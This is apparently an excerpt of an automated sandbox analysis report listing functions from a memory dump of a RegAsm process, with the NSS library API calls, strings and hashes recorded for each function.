Opcode Fuzzy Hash: 55b4e5be8c0acbcc9cc1c5cce54c888cc4b211d7fdaa9834fd052f4d4bd22ffc
Instruction Fuzzy Hash: 9321E1B1904204AAEB10DF25DC41EEA7BB4EF4425CF048519FC989AB01F731A955CBE2

Function 6C416DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C417D8F,6C417D8F,?,?), ref: 6C416DC8

Part of subcall function 6C46FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C46FE08
Part of subcall function 6C46FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C46FE1D
Part of subcall function 6C46FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C46FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C417D8F,?,?), ref: 6C416DD5

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C538FA0,00000000,?,?,?,?,6C417D8F,?,?), ref: 6C416DF7

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C416E35

Part of subcall function 6C46FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C46FE29
Part of subcall function 6C46FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C46FE3D
Part of subcall function 6C46FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C46FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C416E4C

Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C538FE0,00000000), ref: 6C416E82

Part of subcall function 6C416AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C41B21D,00000000,00000000,6C41B219,?,6C416BFB,00000000,?,00000000,00000000,?,?,?,6C41B21D), ref: 6C416B01
Part of subcall function 6C416AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C416B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C416F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C416F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C538FE0,00000000), ref: 6C416F6B
PR_SetError.NSS3(FFFFE005,00000000,6C417D8F,?,?), ref: 6C416FE1

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 8c002e9b2d28133ef5a323b1da42f1f53a3ca7ae84460936fbbb831524a8b56c
Instruction ID: f53e8443815dadc94b7b0c65897f1ab2656ee6c67309475cd696ff4cda883314
Opcode Fuzzy Hash: 8c002e9b2d28133ef5a323b1da42f1f53a3ca7ae84460936fbbb831524a8b56c
Instruction Fuzzy Hash: D5715C71E196469BEB00CF15CD40FFABBA4FF94248F154269E848D7B11E770EA94CB90

Function 6C450FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C451057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C451085
PK11_GetAllTokens.NSS3 ref: 6C4510B1
free.MOZGLUE(?), ref: 6C451107
PR_SetError.NSS3(00000000,00000000), ref: 6C451172
free.MOZGLUE(?), ref: 6C451182
free.MOZGLUE(?), ref: 6C4511A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C4511C5

Part of subcall function 6C4552C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C42EAC5,00000001), ref: 6C4552DF
Part of subcall function 6C4552C0: EnterCriticalSection.KERNEL32(?), ref: 6C4552F3
Part of subcall function 6C4552C0: PR_Unlock.NSS3(?), ref: 6C455358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C4511D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C4511F3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 728fa5f50ef9466727760175a7f5d6f8746ea8a400cf024d4f4f1c696b022f92
Instruction ID: 6eb6aa011257e865534a59b676018b0929e545b14a0021274960062b2bdd4954
Opcode Fuzzy Hash: 728fa5f50ef9466727760175a7f5d6f8746ea8a400cf024d4f4f1c696b022f92
Instruction Fuzzy Hash: 1161B0B0E013459BEB00DF69DC81FAEB7B4AF08749F544128EC19AB741E731E965CBA1

Function 6C45ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE10
EnterCriticalSection.KERNEL32(?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C43D079,00000000,00000001), ref: 6C45AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE7F
TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEF1
free.MOZGLUE(6C43CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C43CDBB,?), ref: 6C45AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AF30

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1fb94af59b99588a6e520017fce776a6f4a8d324a15333aadad490652aeae38f
Instruction ID: 1fb2bdfbad7d76b4a75691a431e13ca6658295de7b8c749a3bf3ca7ed6ae0a62
Opcode Fuzzy Hash: 1fb94af59b99588a6e520017fce776a6f4a8d324a15333aadad490652aeae38f
Instruction Fuzzy Hash: 26518DB1A40602AFDB01DF29D884F6AB7B4FF09319F444669D81897B11E731F8A4CBE1

Function 6C434CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C43AB7F,?,00000000,?), ref: 6C434CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C43AB7F,?,00000000,?), ref: 6C434CC8
TlsGetValue.KERNEL32(?,6C43AB7F,?,00000000,?), ref: 6C434CE0
EnterCriticalSection.KERNEL32(?,?,6C43AB7F,?,00000000,?), ref: 6C434CF4
PL_HashTableLookup.NSS3(?,?,?,6C43AB7F,?,00000000,?), ref: 6C434D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C434D10

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C434D26

Part of subcall function 6C4D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DC6
Part of subcall function 6C4D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DD1
Part of subcall function 6C4D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4D9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C434D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C434DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C434E02

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ca43725ee5de9575fb3d4c905fd65b7a4df99d42aad3cf974751692da75cef23
Instruction ID: 6ff1deeb68c83ef270daa8b75c5d5c9a4ed17345bba0952feb25eae0bff109a6
Opcode Fuzzy Hash: ca43725ee5de9575fb3d4c905fd65b7a4df99d42aad3cf974751692da75cef23
Instruction Fuzzy Hash: FE41E5B5A001119BEB01EF29EC41EA67BA8EF59259F055174EC0CC7B11EB36E914C7E1

Function 6C4389C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C43AE9B,00000000,?,?), ref: 6C4389DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C412D6B,?,?,00000000), ref: 6C4389EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C412D6B), ref: 6C438A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C412D6B,?), ref: 6C438A11

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: f4fc81fe89fcbc71dd2357d8e0a9c778c83d5f86d085a161170fdeee25acf4ce
Instruction ID: 80dbbad2090b9f91273a1d068393682b46781e89d82dd0b87ad3f7072f5e7657
Opcode Fuzzy Hash: f4fc81fe89fcbc71dd2357d8e0a9c778c83d5f86d085a161170fdeee25acf4ce
Instruction Fuzzy Hash: 4211D8F1A0132066FB00E6667C81FABB5589B8975DF08103BED0DD9B42F722D519C1F2

Function 6C412E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C412CDA,?,00000000), ref: 6C412E1E

Part of subcall function 6C46FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C419003,?), ref: 6C46FD91
Part of subcall function 6C46FD80: PORT_Alloc_Util.NSS3(A4686C47,?), ref: 6C46FDA2
Part of subcall function 6C46FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C47,?,?), ref: 6C46FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C412E33

Part of subcall function 6C46FD80: free.MOZGLUE(00000000,?,?), ref: 6C46FDD1

TlsGetValue.KERNEL32 ref: 6C412E4E
EnterCriticalSection.KERNEL32(?), ref: 6C412E5E
PL_HashTableLookup.NSS3(?), ref: 6C412E71
PL_HashTableRemove.NSS3(?), ref: 6C412E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C412E96
PR_Unlock.NSS3 ref: 6C412EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C412EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C412EC5

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e5be68fd26035ee1a7e68dd79c34307173595f6ca2c89478d36e5d50ec331925
Instruction ID: 98cc8fc992100b8465f1c596eb0a4781dab35acff6a3c4c5ca320473009bedcf
Opcode Fuzzy Hash: e5be68fd26035ee1a7e68dd79c34307173595f6ca2c89478d36e5d50ec331925
Instruction Fuzzy Hash: EC2128B2A44200A7EF119B25DC0DEAA3A749B4224DF050034ED5896B11FB32D5A8C6F1

Function 6C39CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C39B999), ref: 6C39CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C39B999), ref: 6C39D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C39B999), ref: 6C39D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C39B999), ref: 6C4E972B

Strings

database corruption, xrefs: 6C39CFE7, 6C39D013, 6C39D028, 6C39D039, 6C39D03E, 6C4E9786
%s at line %d of [%.10s], xrefs: 6C39CFEC, 6C39D018, 6C39D029, 6C39D03F, 6C4E978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C39CFDD, 6C39D00E, 6C39D022, 6C39D033, 6C4E9780

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 3b48667b3e21f04fee6d02e0dfeff710ce085609bc1f9afb60fe6ea3cf2dc65f
Instruction ID: bbba49165a46499cceb310bdb1117cac4a5661024c0f1e547c18714121de29a3
Opcode Fuzzy Hash: 3b48667b3e21f04fee6d02e0dfeff710ce085609bc1f9afb60fe6ea3cf2dc65f
Instruction Fuzzy Hash: 8D613971A042109BD310CF29C840BAAB7F5EF55319F29816DE4499BB82E377D947CBA1

Function 6C474DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C47536F,00000022,?,?,00000000,?), ref: 6C474E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C474F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C474F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C474FAE
free.MOZGLUE(?), ref: 6C474FC8

Strings

%s=%c%s%c, xrefs: 6C474FA9
oSGl", xrefs: 6C474DFB, 6C474EF4, 6C474EC5
%s=%s, xrefs: 6C474F89

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSGl"
API String ID: 2709355791-1440958993
Opcode ID: f665f0b12ef113cf4749d202316d61ef16fb3ccb333f511f005fddcf083f961e
Instruction ID: 84120d3362f14424ed58120e5c791f8178b5a8fd215bc3acd3a4782969c32172
Opcode Fuzzy Hash: f665f0b12ef113cf4749d202316d61ef16fb3ccb333f511f005fddcf083f961e
Instruction Fuzzy Hash: B0514B31A051458BEB21CA6EC890FFF7BF59F4639AF189126E894A7B40D33598058FF1

Function 6C49EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C4BA4A1,?,00000000,?,00000001), ref: 6C49EF6D

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

htonl.WSOCK32(00000000,?,6C4BA4A1,?,00000000,?,00000001), ref: 6C49EFE4
htonl.WSOCK32(?,00000000,?,6C4BA4A1,?,00000000,?,00000001), ref: 6C49EFF1
memcpy.VCRUNTIME140(?,?,6C4BA4A1,?,00000000,?,6C4BA4A1,?,00000000,?,00000001), ref: 6C49F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C4BA4A1,?,00000000,?,00000001), ref: 6C49F027

Strings

dtls13, xrefs: 6C49EF33

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 97c510926b556b4fdd7efad7ab0bb9d6071570fc440fc3697ad023c62d82590e
Instruction ID: d63322b2c18b083de3e46aa7711af34e86050f64dd408a72daf8411a6247dc8b
Opcode Fuzzy Hash: 97c510926b556b4fdd7efad7ab0bb9d6071570fc440fc3697ad023c62d82590e
Instruction Fuzzy Hash: 7B31F571A01221ABD710DF38CC80F9ABBE4BF89349F15802AE8199B755E731E915CBE1

Function 6C41AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C41AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C539500,6C413F91), ref: 6C41AFD2

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

DER_GetInteger_Util.NSS3(?), ref: 6C41B007

Part of subcall function 6C466A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C411666,?,6C41B00C,?), ref: 6C466AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C41B02F
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C41B046
PL_FreeArenaPool.NSS3 ref: 6C41B058
PL_FinishArenaPool.NSS3 ref: 6C41B060

Strings

security, xrefs: 6C41AFB8

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 8fa811d856ede9c3f6c4e660c97f5c04e0c61dc96b438aa6946179d5b8124ec8
Instruction ID: fc41889984077bf347d7d752577fe770f3270387c0dcc09a077f907de5d3e575
Opcode Fuzzy Hash: 8fa811d856ede9c3f6c4e660c97f5c04e0c61dc96b438aa6946179d5b8124ec8
Instruction Fuzzy Hash: 0231E4B14083009EDB20CE249C44FAA7BB4AF4636CF10461DE8E49BB91E7329149C7A6

Function 6C44ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C44ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C44AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C44AD23

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C44AD39

Strings

hSession = 0x%x, xrefs: 6C44ACFE, 6C44AD0E
nRl, xrefs: 6C44AD51, 6C44AD7B
C_MessageDecryptFinal, xrefs: 6C44ACE1
(CK_INVALID_HANDLE), xrefs: 6C44AD1C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nRl
API String ID: 332880674-3797073001
Opcode ID: 746d0889b314e3dcafab02c30153a924267f7d3dad239d788cd24681016c00d9
Instruction ID: 40a01bc298cf26d0c95b9004f2914277729b0234f3cf2ccf30b41824c3ab5291
Opcode Fuzzy Hash: 746d0889b314e3dcafab02c30153a924267f7d3dad239d788cd24681016c00d9
Instruction Fuzzy Hash: E021F870601124DFEB01EB549D88FAA33B6EF8631EF168039E40997B51DB349889C6A6

Function 6C45CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C45CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C45CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C45D079

